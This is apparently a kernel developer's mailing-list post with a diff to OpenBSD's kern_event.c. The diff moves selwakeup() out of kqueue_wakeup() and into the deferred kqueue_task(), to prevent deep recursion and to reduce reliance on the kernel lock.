selwakeup(sip) calls KNOTE(&sip->si_note, 0), which implies that
kqueue_wakeup() should not call selwakeup() directly. Otherwise,
a contrived program can trigger deep recursion.

The diff below moves selwakeup() from kqueue_wakeup() to kqueue_task().
In addition to preventing the recursion, this change is necessary with
the current select/poll implementation to make kqueue_wakeup() free of
the kernel lock.

OK?

Index: kern/kern_event.c
===================================================================
RCS file: src/sys/kern/kern_event.c,v
retrieving revision 1.129
diff -u -p -r1.129 kern_event.c
--- kern/kern_event.c   2 Apr 2020 07:00:25 -0000       1.129
+++ kern/kern_event.c   3 Apr 2020 03:44:00 -0000
@@ -1102,7 +1102,12 @@ kqueue_task(void *arg)
 {
        struct kqueue *kq = arg;
 
-       KNOTE(&kq->kq_sel.si_note, 0);
+       if (kq->kq_state & KQ_SEL) {
+               kq->kq_state &= ~KQ_SEL;
+               selwakeup(&kq->kq_sel);
+       } else {
+               KNOTE(&kq->kq_sel.si_note, 0);
+       }
        KQRELE(kq);
 }
 
@@ -1114,10 +1119,7 @@ kqueue_wakeup(struct kqueue *kq)
                kq->kq_state &= ~KQ_SLEEP;
                wakeup(kq);
        }
-       if (kq->kq_state & KQ_SEL) {
-               kq->kq_state &= ~KQ_SEL;
-               selwakeup(&kq->kq_sel);
-       } else if (!SLIST_EMPTY(&kq->kq_sel.si_note)) {
+       if ((kq->kq_state & KQ_SEL) || !SLIST_EMPTY(&kq->kq_sel.si_note)) {
                /* Defer activation to avoid recursion. */
                KQREF(kq);
                if (!task_add(systq, &kq->kq_task))

Reply via email to